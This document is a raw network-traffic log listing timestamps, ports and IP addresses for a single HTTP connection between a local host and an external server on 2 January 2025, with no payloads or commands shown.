Jan 2, 2025 20:20:08.950776100 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.950786114 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.950795889 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.950807095 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.950817108 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.950823069 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.950860023 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.950860023 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.954648972 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.954660892 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.954672098 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.954683065 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.954694033 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.954709053 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.954720020 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.954770088 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.954770088 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.954785109 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.971302032 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.971328974 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.971432924 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.971443892 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.971450090 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.971455097 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.971466064 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.971477985 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.971508026 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.971529007 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.971539974 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.971545935 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.971599102 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.984231949 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.984241962 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.984257936 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.984268904 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.984273911 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.984280109 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.984318018 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.984321117 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.984328032 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.984338045 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.984349012 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.984364986 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.984369040 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.984376907 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.984386921 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.984400988 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.984414101 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.984425068 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.984441042 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.984448910 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.984468937 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.984468937 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.984517097 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.984554052 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.984565973 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.984576941 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.984586000 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.984627008 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.984627008 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.984698057 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.984719992 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.984791994 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.984802961 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.984812975 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.984829903 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.984832048 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.984843016 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.984846115 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.984853029 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.984885931 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.984896898 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.984971046 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.984983921 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.985038996 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.985049009 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.985059977 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.985071898 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.985081911 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.985093117 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.985100031 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.985104084 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.985116959 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.985124111 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.985125065 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.985155106 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.985165119 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.985167980 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.985178947 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.985181093 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.985188961 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.985200882 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.985210896 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.985222101 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.985253096 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.985253096 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.985282898 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.985610008 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.985631943 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.985677004 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.985694885 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.985719919 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.985749960 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.985760927 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.985774040 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.985789061 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.985800028 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.985826015 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.985826015 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.985858917 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.990641117 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.990653992 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.990670919 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.990689993 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.990701914 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.990703106 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.990712881 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.990725040 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.990726948 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.990736008 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.990761042 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.990813971 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.992660999 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.992733002 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.992743969 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.992753983 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.992764950 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.992785931 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.992800951 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.992871046 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.992882967 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.992893934 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.992902994 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.992913008 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.992924929 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.992932081 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.992933989 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.992945910 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.992958069 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.992969990 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.992971897 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.992980957 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.992994070 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.993006945 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.993031025 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.993031025 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.019601107 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.019613028 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.019629955 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.019640923 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.019651890 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.019663095 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.019674063 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.019678116 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.019685984 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.019696951 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.019707918 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.019717932 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.019726038 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.019728899 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.019741058 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.019742012 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.019757032 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.019772053 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.019804001 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.019804001 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.031264067 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.031276941 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.031295061 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.031316996 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.031328917 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.031331062 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.031341076 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.031353951 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.031363964 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.031409979 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.031409979 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.037651062 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.037697077 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.037703991 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.037714005 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.037724972 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.037736893 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.037750006 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.037754059 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.037761927 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.037797928 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.037811995 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.041380882 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.041405916 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.041416883 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.041438103 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.041452885 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.041470051 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.041471958 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.041481018 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.041493893 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.041506052 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.041538954 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.041567087 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.045125008 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.045157909 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.045170069 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.045181036 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.045185089 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.045236111 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.045237064 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.045243979 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.045254946 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.045267105 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.045275927 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.045312881 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.045336962 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.062050104 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.062063932 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.062079906 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.062114000 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.062124968 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.062135935 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.062146902 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.062261105 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.062393904 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.075098991 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.075197935 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.075206995 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.075210094 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.075222969 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.075237036 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.075256109 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.075265884 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.075284004 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.075294018 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.075294971 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.075306892 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.075324059 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.075334072 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.075345039 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.075351000 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.075357914 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.075392008 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.075418949 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.075448990 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.075467110 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.075478077 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.075500011 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.075511932 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.075519085 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.075521946 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.075534105 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.075545073 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.075556040 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.075562000 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.075562000 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.075565100 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.075584888 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.075588942 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.075611115 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.075635910 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.075692892 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.075704098 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.075715065 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.075726032 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.075737000 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.075742006 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.075753927 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.075759888 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.075772047 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.075773954 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.075782061 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.075793028 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.075803041 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.075813055 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.075833082 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.075833082 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.075886965 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.076222897 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.076234102 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.076281071 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.076292992 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.076303959 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.076304913 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.076335907 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.076355934 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.076368093 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.076368093 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.076380014 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.076389074 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.076407909 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.076489925 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.076527119 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.081487894 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.081505060 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.081516981 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.081521988 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.081528902 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.081535101 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.081542015 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.081552029 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.081645012 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.083343029 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.083353996 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.083367109 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.083384037 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.083395958 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.083405018 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.083416939 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.083426952 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.083427906 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.083427906 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.083440065 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.083467960 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.083522081 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.083534002 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.083549976 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.083560944 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.083571911 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.083583117 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.083589077 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.083595037 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.083617926 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.083617926 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.083645105 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.110053062 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.110073090 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.110141039 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.110153913 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.110166073 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.110177040 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.110209942 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.110222101 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.110233068 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.110244989 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.110255957 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.110265970 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.110275030 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.110275030 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:09.110299110 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.110310078 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.110321045 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:09.110330105 CET	49704	80	192.168.2.8	47.254.187.72
